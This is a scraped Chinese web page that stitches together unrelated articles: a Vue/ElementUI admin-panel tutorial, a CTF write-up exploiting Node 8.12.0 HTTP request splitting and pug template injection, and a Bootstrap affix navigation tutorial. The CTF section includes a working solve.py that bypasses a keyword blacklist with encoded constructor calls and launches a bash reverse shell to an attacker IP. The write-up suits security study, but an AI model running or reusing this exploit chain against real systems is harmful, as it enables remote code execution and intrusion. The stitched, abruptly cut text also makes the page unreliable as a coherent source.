整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

web全栈:java微服务+vue+elemUI开发

web全栈:java微服务+vue+elemUI开发CMS1

.vue前端搭建项目

1.1vue.js安装

vue

Vue官网:https://cn.vuejs.org/

教程入口:https://cn.vuejs.org/v2/guide/

1.2node.js安装

node

node官网:http://nodejs.cn/api/

1.3vue CLI安装

官网:https://cli.vuejs.org/zh/guide/cli-service.html

Vue CLI 的包名称由 vue-cli 改成了 @vue/cli。 如果你已经全局安装了旧版本的 vue-cli(1.x 或 2.x),你需要先通过 npm uninstall vue-cli -gyarn global remove vue-cli 卸载它。


vue-cli

1.4编译器idea更新控制台terminal的输出为git


idea-配置gitee


gitee源码开放:https://gitee.com/cevent_OS/yameng-cevent-source-cloudcenter.git

2.查看node、vue、vue/cli版本

asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-webcourse (master)

$ npm -v 查看node版本

6.13.4

asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-webcourse (master)

$ vue --version 查看当前vue版本

2.9.6

asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-webcourse (master)

$ npm install -g @vue/cli 安装/升级vue-cli最新版

npm WARN deprecated @hapi/joi@15.1.1: joi is leaving the @hapi organization and moving back to 'joi' (https://github.com/sideway/joi/issues/2411)

npm WARN deprecated request@2.88.2: request has been deprecated, see https://github.com/request/request/issues/3142

npm WARN deprecated @hapi/topo@3.1.6: This version has been deprecated and is no longer supported or maintained

npm WARN deprecated @hapi/bourne@1.3.2: This version has been deprecated and is no longer supported or maintained

npm WARN deprecated @hapi/hoek@8.5.1: This version has been deprecated and is no longer supported or maintained

npm WARN deprecated @hapi/address@2.1.4: This version has been deprecated and is no longer supported or maintained


vue-cli升级失败

npm WARN notsup SKIPPING OPTIONAL DEPENDENCY: Unsupported platform for fsevents@1.2.13: wanted {"os":"darwin","arch":"any"} (current: {"os":"win32","arch":"x64"})


npm ERR! code EEXIST

npm ERR! path C:\Users\asus\AppData\Roaming\npm\node_modules\@vue\cli\bin\vue.js

npm ERR! dest C:\Users\asus\AppData\Roaming\npm\vue

npm ERR! EEXIST: file already exists, cmd shim 'C:\Users\asus\AppData\Roaming\npm\node_modules\@vue\cli\bin\vue.js' -> 'C:\Users\asus\AppData\Roaming\npm\vue'

npm ERR! File exists: C:\Users\asus\AppData\Roaming\npm\vue

npm ERR! Remove the existing file and try again, or run npm

npm ERR! with --force to overwrite files recklessly.


npm ERR! A complete log of this run can be found in:

npm ERR! C:\Users\asus\AppData\Roaming\npm-cache\_logs20-07-19T13_45_04_918Z-debug.log

$ vue create admin 创建vue项目,必须升级vue-cli 3.0以上


vue create is a Vue CLI 3 only command and you are using Vue CLI 2.9.6.

You may want to run the following to upgrade to Vue CLI 3:


npm uninstall -g vue-cli

npm install -g @vue/cli


$ npm uninstall -g vue-cli 卸载vue-cli

removed 241 packages in 3.064s

$ npm install -g @vue/cli 安装升级@vue/cli

asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-webcourse (master)

$ vue --version

@vue/cli 4.4.6 升级完成


3.创建后台cms-admin前端项目

asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-cevent-source-cloudcenter/cevent-source-cloudcenter (master)

$ vue create cevent-ymcms-admin


Vue CLI v4.4.6

┌─────────────────────────────────────────────┐

│ │

│ New version available 4.4.6 → 4.5.11 │

│ Run yarn global add @vue/cli to update! │

│ │

└─────────────────────────────────────────────┘


? Please pick a preset: default (babel, eslint)

Vue CLI v4.4.6

? Creating project in D:\DEV_CODE\Intelligy_idead_code\spring\springcloud\yameng-cevent-source-cloudcenter\cevent-source-cloudcenter\cevent-ymcms-admin.

?? Installing CLI plugins. This might take a while...

> yorkie@2.0.0 install D:\DEV_CODE\Intelligy_idead_code\spring\springcloud\yameng-cevent-source-cloudcenter\cevent-source-cloudcenter\cevent-ymcms-admin\node_modules\yorkie

> node bin/install.js

setting up Git hooks

...

? Running completion hooks...

? Generating README.md...

? Successfully created project cevent-ymcms-admin.

? Get started with the following commands:


$ cd cevent-ymcms-admin

$ npm run serve


asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-cevent-source-cloudcenter/cevent-source-cloudcenter (master)

$ cd cevent-ymcms-admin/


asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-cevent-source-cloudcenter/cevent-source-cloudcenter/cevent-ymcms-admin (master)

$ npm run serve


> cevent-ymcms-admin@0.1.0 serve D:\DEV_CODE\Intelligy_idead_code\spring\springcloud\yameng-cevent-source-cloudcenter\cevent-source-cloudcenter\cevent-ymcms-admin

> vue-cli-service serve

INFO Starting development server...

98% after emitting CopyPlugin

DONE Compiled successfully in 2896ms 21:49:14

App running at:

- Local: http://localhost:8080/

- Network: http://192.168.3.4:8080/



idea项目


vue启动


4.引入element-UI框架

asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-webcourse (master)

$ cd web-client/

asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-webcourse/web-client (master)

$ npm install element-ui -S 安装

npm WARN deprecated core-js@2.6.12: core-js@<3 is no longer maintained and not recommended for usage due to the number of issues. Please, upgrade your dependencies to the actual version of core-js@3.

>

core-js@2.6.12 postinstall D:\DEV_CODE\Intelligy_idead_code\spring\springcloud\yameng-webcourse\web-client\node_modules\babel-runtime\node_modules\core-js


The project needs your help! Please consider supporting of core-js on Open Collective or Patreon:

> https://opencollective.com/core-js

> https://www.patreon.com/zloirock


+ element-ui@2.15.1

added 9 packages from 8 contributors in 11.703s


49 packages are looking for funding

run `npm fund` for details


5.main.js引入element-UI


element-ui

6.构建登录页面

6.1引入bootstrap栅格系统

列数column=12

超小屏幕 手机 (<768px)

小屏幕 平板

(≥768px)

中等屏幕 桌面显示器 (≥992px)

大屏幕 大桌面显示器 (≥1200px)

栅格系统行为

总是水平排列

开始是堆叠在一起的,当大于这些阈值时将变为水平排列

.container 最大宽度

None (自动)

750px

970px

1170px

类前缀

.col-xs-

.col-sm-

.col-md-

.col-lg-

最大列(column)宽

自动

~62px

~81px

~97px

槽(gutter)宽

30px (每列左右均有 15px)

偏移(Offsets)

使用 .col-md-offset-* 类可以将列向右侧偏移(间隔)

6.2eslint语法规则

* "off" 或 0 - 关闭规则

* "warn" 或 1 - 开启规则,使用警告级别的错误:warn (不会导致程序退出)

* "error" 或 2 - 开启规则,使用错误级别的错误:error (当被触发的时候,程序会退出)

"no-alert"

禁止使用alert confirm prompt

"no-array-constructor"

禁止使用数组构造器

"no-bitwise"

禁止使用按位运算符

取消检测在.eslintrc.js中申明off,或在package.json中关闭0


eslint

6.3引用第三方js特效


js特效


html引入


vue组件引入


效果图

7.Components-LoginComp.vue页面展现内容

<template>
    <div class="admin-login container">
        <el-menu  class="elMenu el-menu-demo" mode="horizontal" background-color="#021126" text-color="#14ddaa">
            <span class="elMenuText" >企业ERP、CMS、CRM、OA多功能融合SpringCloud微服务系统</span>
        </el-menu>

        <div class="row center-block ">
            <div class="login-block col-xs-10 col-xs-offset-1 col-sm-10 col-sm-offset-1 col-md-10 col-md-offset-1 col-lg-10 col-lg-offset-1">
                <h1 class="logo-title"><img src="../../public/imgs/yameng-logo-1.png" alt="logo" class="logo-set ">亚盟CMS后台登录
                </h1>
                <div class="login-box jumbotron">
                    <div class="login-box-header">
                        <h2 class="header-title">一站式ERP电商管理系统</h2>
                    </div>
                    <div class="login-input">
                        <div class="inputArea">
                            <div class="input-group input-group-lg">
                                <span class="input-group-addon">账号</span>
                                <input id="loginName" type="text" class="inputSpan form-control" placeholder="请输入用户名"
                                       aria-describedby="sizing-addon1">
                                <span class="inputTag glyphicon glyphicon-user form-control-feedback text-primary"
                                      aria-hidden="true"></span>
                                <div class="input1-show input-group-addon"></div>
                            </div>
                            <div class="input-group input-group-lg">
                                <span class="input-group-addon ">密码</span>
                                <input id="loginPWD" type="password" class="inputSpan form-control" placeholder="请输入密码"
                                       aria-describedby="sizing-addon1">
                                <span class="inputTag glyphicon glyphicon-lock form-control-feedback text-primary"
                                      aria-hidden="true"></span>
                                <div class="input2-show input-group-addon"></div>
                            </div>
                        </div>

                        <el-checkbox class="rememberBox" v-model="remember" label="记住账号·密码" border></el-checkbox>

                        <el-button class="loginBtn" type="primary">登录<i class="el-icon-s-promotion el-icon--right "></i>
                        </el-button>

                    </div>

                </div>

            </div>
            <div class="line"></div>
            <div class="loginFooter">
                <div class="loginBottom">

                    <el-menu  class="elMenu el-menu-demo" mode="horizontal" background-color="#021126" text-color="#14ddaa">
                        <span class="elMenuText" >Technology By @Cevent 2021</span>
                        <div>
                            <img class="bottom-logo" src="../../public/imgs/yameng-logo-1.png">
                        </div>
                    </el-menu>
                </div>
            </div>
        </div>

    </div>
</template>

<script>
    //import "../../public/base/js/login/three.min.js";
    //import "../../public/base/js/login/TweenMax.min.js";
    //import "../../public/base/js/login/loginBG.js";
    export default {
        name: 'LoginComp',
        props: {
            msg: String
        },
        data() {
            return {
                message: '这里是登录页面',
                input: '',
                remember: true,

            }
        },
        methods: {},
    }
</script>

<style scoped>

    .admin-login {
        position: absolute;
        width: 100%;
        height: 100%;
        margin: 0;
        padding: 0;
        background: url("../../public/imgs/BG-WALL.png");
        background-size: 100% 100%;
        overflow: hidden;
    }

    .logo-set {
        width: 40px;
        margin-right: 5px;
        margin-bottom: 6px;
    }

    .login-block {
        position: relative;
        margin-top: 5%;
        margin-bottom: 10%;
        border: 2px solid white;
        border-radius: 5px;
        box-shadow: 2px 2px 5px steelblue;
        color: white;
        background: url("../../public/imgs/BG-WALL.png");
    }

    .logo-title {
        display: block;
        font-size: 24px;
    }

    .inputArea {
        float: left;
    }

    .login-box {
        margin-top: 10px;
        margin-left: auto;
        margin-right: auto;
        margin-bottom: 10%;
        padding: 5px;
        max-width: 600px;
    }

    .login-input {
        position: relative;
        margin: 5px;

    }

    .header-title {
        color: steelblue;
        font-weight: bolder;
        text-shadow: 0px 1px 0px #ffffff, 0px 2px 0px #e2d6d6, 0px 3px 0px #e2d6d6, 0px 4px 0px #e2d6d6, 0px 7px 0px #fff3cd, 0px 8px 7px #ffffff;
    }

    .inputSpan {
        max-width: 500px;
    }

    .inputTag {
        margin-top: 5px;
    }

    .rememberBox {
        position: relative;
        margin-top: 10px;
        margin-left: 30%;
        margin-bottom: 10px;
        float: left;
        color: steelblue;
    }

    .loginBtn {
        margin-top: 10px;
        background: steelblue;
        border: 2px solid white;
    }
    .loginFooter{
        position: absolute;
        width: 100%;
        bottom: 0;
    }
    .loginBottom {
        position: relative;
        background: steelblue;

    }

    .elMenu{
        text-align: center;
    }
    .elMenu .elMenuText{
        display: block;
        font-size: 20px;
        margin: 20px auto;
        color: white;
    }

    .bottom-logo {
        position: relative;
        width: 50px;
        margin-bottom: 10px;
    }
</style>

8.登录页面效果图


login登录页


响应式

9.admin管理页面首页显示

引入elementUI分栏栅格布局

参数

说明

类型

默认值

span

栅格占据的列数

number

24

offset

栅格左侧的间隔格数

number

0

push

栅格向右移动格数

number

0

pull

栅格向左移动格数

number

0

:xs

<768px 响应式栅格数或者栅格属性对象

number/object (例如: {span: 4, offset: 4})


:sm

≥768px 响应式栅格数或者栅格属性对象

number/object (例如: {span: 4, offset: 4})


:md

≥992px 响应式栅格数或者栅格属性对象

number/object (例如: {span: 4, offset: 4})


:lg

≥1200px 响应式栅格数或者栅格属性对象

number/object (例如: {span: 4, offset: 4})


:xl

≥1920px 响应式栅格数或者栅格属性对象

number/object (例如: {span: 4, offset: 4})


gutter

栅格间隔

number

0

justify

flex 布局下的水平排列方式

String

start/end/center/space-around/space-between

Start

align

flex 布局下的垂直排列方式

String

top/middle/bottom

top

10.admin.vue修改页面样式,改装elementUI

<template>
    <div class="">
        <div class="admin-nav">
            <el-menu
                    :default-active="activeIndex2"
                    class="navTopElMenu el-menu"
                    mode="horizontal"
                    @select="handleSelect"
                    text-color="#fff"
            >

                <el-menu-item class="navBarLogoBlock">
                    <img class="navbarLogo" src="../../public/imgs/site-logo300-1.png" alt="">
                    <span class="logoTitle">亚盟微服务管理控台</span>
                </el-menu-item>
                <div class="navTopRight">
                    <el-dropdown class="navTopItem">
                        <img class="loginIcon el-dropdown-link" :src="url">
                        <el-dropdown-menu slot="dropdown">
                            <el-dropdown-item>
                                <li class="privilege el-icon-trophy"></li>
                                <span class="privilegeTitle">您在系统拥有 4 项特权</span>
                            </el-dropdown-item>
                            <el-dropdown-item>
                                <li class="privilege el-icon-bank-card"></li>
                                账号余额
                            </el-dropdown-item>
                            <el-dropdown-item>
                                <li class="privilege el-icon-postcard"></li>
                                积分
                            </el-dropdown-item>
                            <el-dropdown-item disabled>
                                <li class="privilege el-icon-s-flag"></li>
                                平台认证
                            </el-dropdown-item>
                            <el-dropdown-item>
                                <li class="sets el-icon-s-tools"></li>
                                <span class="setsSpan">设置</span>
                            </el-dropdown-item>
                            <router-link to="/login">
                                <el-dropdown-item>
                                    <li class="sets el-icon-s-unfold"></li>
                                    <span class="setsSpan">退出登录</span>
                                </el-dropdown-item>
                            </router-link>

                        </el-dropdown-menu>
                    </el-dropdown>

                    <div class="navTopItem">
                        <li class="el-icon-paperclip"></li>
                        <span class="loginInfo">欢迎 cevent 登录</span>
                    </div>

                    <el-dropdown class="navTopItem">
                        <div class="topMsg">
                            <li class="el-icon-message-solid"></li>
                            <el-divider direction="vertical"></el-divider>
                            <span class=" el-dropdown-link">
                            消息中心
                            </span>
                            <el-badge :value="12" class="item">
                            </el-badge>
                        </div>

                        <el-dropdown-menu slot="dropdown">
                            <el-dropdown-item>消息通知
                                <el-badge :value="2" class="item">
                                </el-badge>
                            </el-dropdown-item>
                            <el-dropdown-item>产品评论
                                <el-badge :value="4" class="item">
                                </el-badge>
                            </el-dropdown-item>
                            <el-dropdown-item>客户回复
                                <el-badge :value="9" class="item">
                                </el-badge>
                            </el-dropdown-item>
                            <el-dropdown-item disabled>问题邀请
                                <el-badge :value="1" class="item">
                                </el-badge>
                            </el-dropdown-item>
                        </el-dropdown-menu>
                    </el-dropdown>

                </div>
            </el-menu>
            <!--<div class="breadNav"></div>-->
        </div>
        <div class="admin-nav-content">
            <div class="admin-nav-left">
                <el-row class="tac">
                    <el-col :xs="9" :sm="6" :md="5" :lg="4">
                        <!--default-openeds="['1-1','2-1','3-1','4-1']"-->
                        <el-menu default-active="0-1"
                                 class="navLeftMenu el-menu-vertical"
                                 @open="handleOpen"
                                 @close="handleClose"
                                 :collapse="isCollapse"
                        >
                            <div class="">
                                <el-submenu class="navLeftItem " index="0">
                                    <div class="navLeftItemTitle" slot="title">
                                        <i class="leftIcon el-icon-s-data"></i>
                                        <span slot="title">数据中心</span>
                                    </div>
                                    <div class="leftItem">
                                        <el-menu-item class="navLeftItemTitle menuItem active"
                                                      index="0-1">
                                            <div class="gutterItem"></div>
                                            站点数据
                                        </el-menu-item>
                                        <el-menu-item  class="navLeftItemTitle menuItem"
                                                       index="0-2">
                                            <div class="gutterItem"></div>
                                            询盘数据
                                        </el-menu-item>
                                        <el-menu-item  class="navLeftItemTitle menuItem "
                                                       index="0-3">
                                            <div class="gutterItem"></div>
                                            客户数据
                                        </el-menu-item>
                                    </div>
                                </el-submenu>
                                <el-submenu class="navLeftItem " index="1">
                                    <div class="navLeftItemTitle" slot="title">
                                        <i class="leftIcon el-icon-s-tools"></i>
                                        <span slot="title">系统管理</span>
                                    </div>
                                    <div class="leftItem">
                                        <el-menu-item class="navLeftItemTitle menuItem active"
                                                      index="1-1">
                                            <div class="gutterItem"></div>
                                            角色管理
                                        </el-menu-item>
                                        <el-menu-item  class="navLeftItemTitle menuItem"
                                                      index="1-2">
                                            <div class="gutterItem"></div>
                                            权限管理
                                        </el-menu-item>
                                        <el-menu-item  class="navLeftItemTitle menuItem "
                                                      index="1-3">
                                            <div class="gutterItem"></div>
                                            员工管理
                                        </el-menu-item>
                                        <el-menu-item  class="navLeftItemTitle menuItem "
                                                       index="1-3">
                                            <div class="gutterItem"></div>
                                            会员信息
                                        </el-menu-item>
                                    </div>
                                </el-submenu>
                             
                            </div>


                        </el-menu>
                    </el-col>
                    <el-col :xs="15" :sm="18" :md="19" :lg="20">
                        <div class="breadNav">
                            <el-breadcrumb class="breadNavBlock" separator-class="el-icon-arrow-right">
                                <el-breadcrumb-item :to="{ path: '/' }">首页</el-breadcrumb-item>
                                <el-breadcrumb-item>数据中心</el-breadcrumb-item>
                                <el-breadcrumb-item>站点数据</el-breadcrumb-item>
                            </el-breadcrumb>
                        </div>
                        <router-view></router-view>
                    </el-col>
                </el-row>
            </div>
        </div>

    </div>

</template>

<script>
    export default {
        name: "Admin",
        data() {
            return {
                message: '这里是登录页首页',
                activeIndex: '1',
                activeIndex2: '1',
                url: "/imgs/logo300-1.png",
                isCollapse: false,
                opensNav:[]
            }
        },
        mounted() {
            /*
            jQuery查看页面元素使用:这里的jq版本不行,先用原生js
            添加class:$("标签名").attr("className","class值")
            删除class: $("标签名").removeClass("className")
             */
            console.log("进入后台管理页面,获取el-menu-item");
            let elMenuItem=document.getElementsByClassName("el-menu-item");
            for(let i=0;i<elMenuItem.length;i++){
                elMenuItem[i].style.paddingLeft="0";
            }
        },
        methods: {
            handleSelect(key, keyPath) {
                console.log(key, keyPath);
            },
            handleOpen(key, keyPath) {
                console.log(key, keyPath);
            },
            handleClose(key, keyPath) {
                console.log(key, keyPath);
            }
        }
    }
</script>

11.页面效果


admin


admin导航


header头部导航

创L's合天智汇

前言

nodejs 8.12.0版本的请求拆分攻击(感觉现在叫http走私要好一点2333),pug模板的注入导致rce

0x01 首页

当我们访问http://web2.ctf.nullcon.net:8081/后会显示下面的页面。

由于上面没有什么特点,url参数,交互框等,因此我们查看源代码看看有没有什么提示。

通过源码(F12查看的)我们可以看到它在页面加载js代码完成后发送了个ajax请求:

var xhttp=new XMLHttpRequest();
xhttp.onreadystatechange=function() {
    if (this.readyState==4 && this.status==200) {
       document.getElementById("search").innerHTML=xhttp.responseText;
    }
};
xhttp.open("GET", "/core?q=1", true);
xhttp.send();

我使用get请求发送/core?q=1,但是结果跟上面的首页是一样的只有一个动图,这时你可能会想会不会是sql注入,服务器端注入等,但是经过一系列的反恐尝试之没有什么用。

但是在我们查看源代码的时候还给了个提示<!-- /source -->通过访问/source可以获取题目源码。

//node 8.12.0
var express=require('express');
var app=express();
var fs=require('fs');
var path=require('path');
var http=require('http');
var pug=require('pug');

app.get('/', function(req, res) {
    res.sendFile(path.join(__dirname + '/index.html'));
});
app.get('/source', function(req, res) {
    res.sendFile(path.join(__dirname + '/source.html'));
});
app.get('/getMeme',function(req,res){
    res.send('<iframe src="https://giphy.com/embed/LLHkw7UnvY3Kw" width="480" height="480" frameBorder="0" class="giphy-embed" allowFullScreen></iframe><p><a href="https://giphy.com/gifs/kid-dances-jumbotron-LLHkw7UnvY3Kw">via GIPHY</a></p>')
});
app.get('/flag', function(req, res) {
    var ip=req.connection.remoteAddress;
    if (ip.includes('127.0.0.1')) {
        var authheader=req.headers['adminauth'];
        var pug2=decodeURI(req.headers['pug']);
        var x=pug2.match(/[a-z]/g);
        if(!x){
            if (authheader==="secretpassword") {
                var html=pug.render(pug2);
            }
        }
        else{
            res.send("No characters");
        }
    }
    else{
        res.send("You need to come from localhost");
    }
});
app.get('/core', function(req, res) {
    var q=req.query.q;
    var resp="";
    if (q) {
        var url='http://localhost:8081/getMeme?' + q
        console.log(url)
        var trigger=blacklist(url);
        if (trigger===true) {
            res.send("<p>Errrrr, You have been Blocked</p>");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    ...省略...
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})

function blacklist(url) {
    var evilwords=["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
    var arrayLen=evilwords.length;
    for (var i=0; i < arrayLen; i++) {
        const trigger=url.includes(evilwords[i]);
        if (trigger===true) {
            return true
        }
    }
}
...省略...

0x02 代码分析

通过阅读上面的代码,我们可以看到node的版本是8.12.0,服务器端使用的框架是express,使用nodejs自带的http包发送某些请求,服务端使用pug作为渲染模板(原理加jade)。

在没有发现漏洞之前,先梳理一下代码的流程:

1./:

使用sendFile来读取index.html页面并且渲染该页面,通过前面我们知道该页面有提示的内容。

2./source:

该页面返回了服务器端的全部代码。

3./getMeme:

该页面没有什么用就是返回了一个iframe框架,其中是个动图。

4./flag:

这里验证远程地址包含127.0.0.1,adminauth===secretpassword,headers头中必须包含pug字段并且其值不能包含小写字母,最后会用pug引擎渲染pug,但是这里在渲染容易受到服务器端注入攻击https://zhuanlan.zhihu.com/p/28823933,由此我们可以断定前面需要用SSRF结合CRLF来绕过,不由联想到node的版本号,因为该版本存在request splitting漏洞。

复制链接做实验啦

Flask服务端模板注入漏洞:

实验:Flask服务端模板注入漏洞(合天网安实验室)

pug模板注入示例:

const pug=require('pug');

pug.render('#{console.log("1")}');
pug.render('-console.log(1)');

结果如下:

1
1
1

对于pug模板的相关知识可以参考如下链接:

https://pugjs.org/language/interpolation.html

通过动态的调试我们可以看到代码的拼接过程:

var runtime=require('./');

module.exports=wrap;
// 利用js的Function来定义一个函数,pug是参数,后面是函数的定义
function wrap(template, templateName) {
  templateName=templateName || 'template';
  return Function('pug',
    template + '\n' +
    'return ' + templateName + ';'
  )(runtime);
}

到:

(function anonymous(pug
) {

function template(locals) {var pug_html="", pug_mixins={}, pug_interp;var pug_debug_filename, pug_debug_line;try {;var locals_for_with=(locals || {});(function (console) {;pug_debug_line=1;
pug_html=pug_html + "\u003C" + (console.log("1")) + "\u003E\u003C\u002F" + (console.log("1")) + "\u003E";}.call(this,"console" in locals_for_with?locals_for_with.console:typeof console!=="undefined"?console:undefined));} catch (err) {pug.rethrow(err, pug_debug_filename, pug_debug_line);};return pug_html;}
return template;
})

上面的这段代码中的template函数就是通过Function来构造的,代码拼接进去的部分就是\u003C后面的console.log("1")和\u003E前面的console.log("1"),拼接了两个console.log("1")这就是,然后在函数运行的时候就会执行console.log("1")。

我们可以看到代码拼接进去了,结合上面两段代码简化一下就是:

const t=Function('pug','function template(locals) {(console.log(locals))}'+'\n' +
    'return ' + 'template' + ';');
t()("1");

request splitting漏洞代码示例:

const http=require('http')

const server=http.createServer((req, res)=> {
  console.log(req.url);
  res.end();
});

server.listen(8000, function() {
  http.get('http://192.168.220.157:8000/?param=x\u{0120}HTTP/1.1\u{010D}\u{010A}Host:{\u0120}127.0.0.1:8000\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private', function() {
  });
});

结果如下:

listening on [any] 8000 ...
192.168.220.1: inverse host lookup failed: Unknown host
connect to [192.168.220.157] from (UNKNOWN) [192.168.220.1] 65115
GET /?param=x HTTP/1.1
Host:%7B %7D127.0.0.1:8000

GET /private HTTP/1.1
Host: 192.168.220.157:8000
Connection: close

由上面的结果可知我们已经成功实现了CRLF注入(上面的显示:为%7B %7D可能是我kali的问题)。

接下来我们需要看那里调用了http.get导致SSRF。

5./core

这里的q是我们可控的,而且这里使用了http.get来发起请求刚好满足我们上面的条件,但是构造的url中不能有["global", "process","mainModule","require","root","child_process","exec","\"","'","!"]字符串,我们可以对代码进行jsfuck加密绕过,但是由于加密后的代码太大,请求量会很大,因此一般用js的匿名函数来绕过,且字母我们可以用8进制,16进制来代替,例如:

[]['map']['constructor']('alert(1)')();
[]['\155\141\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')();
[]['\x6d\x61\x70']['\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72']('\x61\x6c\x65\x72\x74(1)')();

构造的脚本如下:

function stringToHex(str,mode=8){
    const splitChar=["\"","\'","`","[","]",";","(",")",".","1","2","3","4","5","6","7","8","9"];
    let result="";
    for(let i=0; i < str.length; i++){
        if(result===""){
            const char=str[i];
            if(splitChar.includes(char)){
                result=char
            }else {
                result=str.charCodeAt(i).toString(mode)
            }
        }else{
            const char=str[i];
            if(splitChar.includes(char)){
                result+=char
            }else {
                const tmp=str.charCodeAt(i).toString(mode);
                mode===8?
                    result +="\\" + tmp:
                    result +="\\x" + tmp;
            }
        }
    }
    return result;
}
console.log(stringToHex("[]['map']['constructor']('alert(1)')();",16));

上面的原理相当于构造了个new Function("alert(1)")();,由于Object的constructor是指向Function的,示例如下:

//我们可以使用以下方式创建一个函数:
new Function("alert(1)");
//也可以不要new
Function("alert(1)")()
//可以将Function转换下
"...".substr.constructor("alert(1)")()
//再转换下
"..."["substr"]["constructor"]("alert(1)")()
//字符串全部转义
"..."["\163\165\142\163\164\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\141\154\145\162\164\50\61\51")();

代码我们也梳理了一遍,现在我们来看看怎么rce拿到flag。

0x03 利用过程:

solve.py

# coding=UTF-8
import requests
from requests.utils import quote

def strTohex(str):
    result=""
    for i in str:
        if i>='a'and i<='z':
            result+='\\'+oct(ord(i))[1:]
        else:
            result+=i
    return result

# https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/

SPACE=u'\u0120'.encode('utf-8')
CRLF=u'\u010d\u010a'.encode('utf-8')
SLASH=u'\u012f'.encode('utf-8')
cmd='bash -i >& /dev/tcp/192.168.220.157/8888 0>&1'
payload="process.binding('spawn_sync').spawn({file:'bash',args:['/bin/bash','-c','%s'],envPairs:['y='],stdio:[{type:'pipe',readable:1}]})" % (cmd)

pug=strTohex('''-[]["constructor"]["constructor"]("{}")()'''.format(payload)).replace('"','%22').replace("'","%27")
# pug=strTohex('''#{[]["constructor"]["constructor"]("%s")()}'''%(payload)).replace('"','%22').replace("'","%27")
print quote(pug)

payload='sol'+SPACE+'HTTP'+SLASH+'1.1'+CRLF*2+'GET'+SPACE+SLASH+'flag'+SPACE+'HTTP'+SLASH+'1.1'+CRLF+'x-forwarded-for:'+SPACE+'127.0.0.1'+CRLF+'adminauth:'+SPACE+'secretpassword'+CRLF+'pug:'+SPACE+pug+CRLF+'test:'+SPACE
print payload
res=requests.get('http://192.168.220.154:8081/core?q='+quote(payload))
#res=requests.get('http://web2.ctf.nullcon.net:8081/core?q='+requote_uri(payload))
print res.content

结果如下:

0x04 总结

通过这次的学习,感觉自己还有好多的不足,因此自己还有好多需要去了解的,去学习的。

参考链接

https://wooyun.js.org/drops/%E4%B8%80%E4%B8%AA%E5%8F%AF%E5%A4%A7%E8%A7%84%E6%A8%A1%E6%82%84%E6%97%A0%E5%A3%B0%E6%81%AF%E7%AA%83%E5%8F%96%E6%B7%98%E5%AE%9D.%E6%94%AF%E4%BB%98%E5%AE%9D%E8%B4%A6%E5%8F%B7%E4%B8%8E%E5%AF%86%E7%A0%81%E7%9A%84%E6%BC%8F%E6%B4%9E%20-%EF%BC%88%E5%9F%8B%E9%9B%B7%E5%BC%8F%E6%94%BB%E5%87%BB%E9%99%84%E5%B8%A6%E8%A7%86%E9%A2%91%E6%BC%94%E7%A4%BA%EF%BC%89.html

https://mengsec.com/2019/06/14/alert1-to-win/

https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/

https://zhuanlan.zhihu.com/p/28823933

https://tipi-hack.github.io/2019/04/14/breizh-jail-calc2.html

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!

ootstrap框架中,附加导航可以实现某个 <div> 固定在页面的某个位置。如果需向元素添加附加导航(Affix)行为,只需要向需要监听的元素添加data-spy="affix"即可,使用偏移来定义何时切换元素的锁定和移动。

滚动监听插件(scroll)是用来根据滚动条所处的位置来自动更新导航项的。

案例的效果如下

网页文件nav5.html的代码如下:

<!doctype html>

<html>

<head>

<meta charset="utf-8">

<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no">

<title>附加导航</title>

<link rel="stylesheet" href="css/bootstrap.css">

<style type="text/css">

*{

margin:0px;

padding:0px;

}

.cont1{

height:2000px;

}

.nav-pills{

width:170px;

}

.nav-pills.affix{

top:150px;

}

.pic{

padding:100px 0px;

}

</style>

</head>

<body data-spy="scroll">

<div class="container">

<div class="jumbotron" style="height:120px">

<h2>追忆</h2>

</div>

<div class="row">

<div class="col-xs-3">

<ul class="nav nav-pills nav-stacked" data-spy="affix">

<li class="active"><a href="#d1">1.梦想</a></li>

<li><a href="#d2">2.爱心</a></li>

<li><a href="#d3">3.读书</a></li>

<li><a href="#d4">4.时间</a></li>

<li><a href="#d5">5.回忆</a></li>

</ul>

</div>

<div class="col-xs-9">

<div id="d1" class="pic">

<h4>梦想的力量</h4>

<img src="img/b1.jpg" />

</div>

<div id="d2" class="pic">

<h4>爱心的付出</h4>

<img src="img/b2.jpg" />

</div>

<div id="d3" class="pic">

<h4>读书的享受</h4>

<img src="img/b3.jpg" />

</div>

<div id="d4" class="pic">

<h4>时间的流失</h4>

<img src="img/b4.jpg" />

</div>

<div id="d5" class="pic">

<h4>回忆的美好</h4>

<img src="img/b5.jpg" />

</div>

</div>

</div>

</div>

<div class="cont1">

</div>

<script src="js/jquery-3.2.1.min.js"></script>

<script src="js/bootstrap.js"></script>

</body>

</html>

至此,案例制作完成。